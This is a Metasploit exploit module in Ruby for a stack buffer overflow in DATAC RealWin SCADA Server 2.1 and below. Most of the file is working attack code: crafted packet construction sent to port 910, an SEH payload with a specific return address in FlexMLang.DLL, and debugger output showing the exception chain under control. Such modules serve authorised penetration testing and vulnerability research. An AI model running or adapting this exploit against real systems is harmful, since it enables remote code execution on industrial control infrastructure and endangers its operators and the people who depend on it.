### $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = GreatRanking	include Msf::Exploit::Remote::Tcp	include Msf::Exploit::Remote::Seh	def initialize(info = {})		super(update_info(info,			'Name'           => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',			'Description'    => %q{					This module exploits a vulnerability found in DATAC Control International RealWin				SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE				packet via port 910, RealWin will try to create a file (which would be saved to				C:/Program Files/DATAC/Real Win/RW-version/filename) by first copying the user-				supplied filename with a inline memcpy routine without proper bounds checking, which				results a stack-based buffer overflow, allowing arbitrary remote code execution.				Tested version: 2.0 (Build 6.1.8.10)			},			'Author'         => [ 'Luigi Auriemma', 'MC' ],			'License'        => MSF_LICENSE,			'Version'        => '$Revision: 12975 $',			'References'     =>				[					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],				],			'Privileged'     => true,			'DefaultOptions' =>				{					'EXITFUNC' => 'thread',				},			'Payload'        =>				{					'Space'    => 450,					'BadChars' => "/x00/x3a/x26/x3f/x25/x23/x20/x0a/x0d/x2f/x2b/x0b/x5c",					'StackAdjustment' => -3500,				},			'Platform'       => 'win',			'Targets'        =>				[					[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19				],			'DefaultTarget' => 0,			'DisclosureDate' => 'Mar 21 2011'))		register_options([Opt::RPORT(910)], self.class)	end	def exploit		connect		data =  [0x67542310].pack('V')		data << [0x00000824].pack('V')		data << [0x00100001].pack('V')		data << [0x00000001].pack('V')  #Packet type		data << [0x00060000].pack('V')		data << [0x0000ffff].pack('V')		data << rand_text_alpha_upper(221)		data << generate_seh_payload(target.ret)		data << rand_text_alpha_upper(17706 - payload.encoded.length)		data << [0x451c3500].pack('V')		data << [0x00000154].pack('V')		data << [0x00020040].pack('V')		print_status("Trying target #{target.name}...")		sock.put(data)		select(nil,nil,nil,0.5)		handler		disconnect	endend=begin0:022> reax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffdeip=0042702f esp=0587f738 ebp=011fba04 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206RealWinDemo+0x2702f:0042702f f3a5            rep movs dword ptr es:[edi],dword ptr [esi]0:022> !exchain0587f748: RealWinDemo+e0b78 (004e0b78)0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)Invalid exception stack at 49a206eb0:022> u 4002da21FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:4002da21 5e              pop     esi4002da22 5b              pop     ebx4002da23 c3              ret=end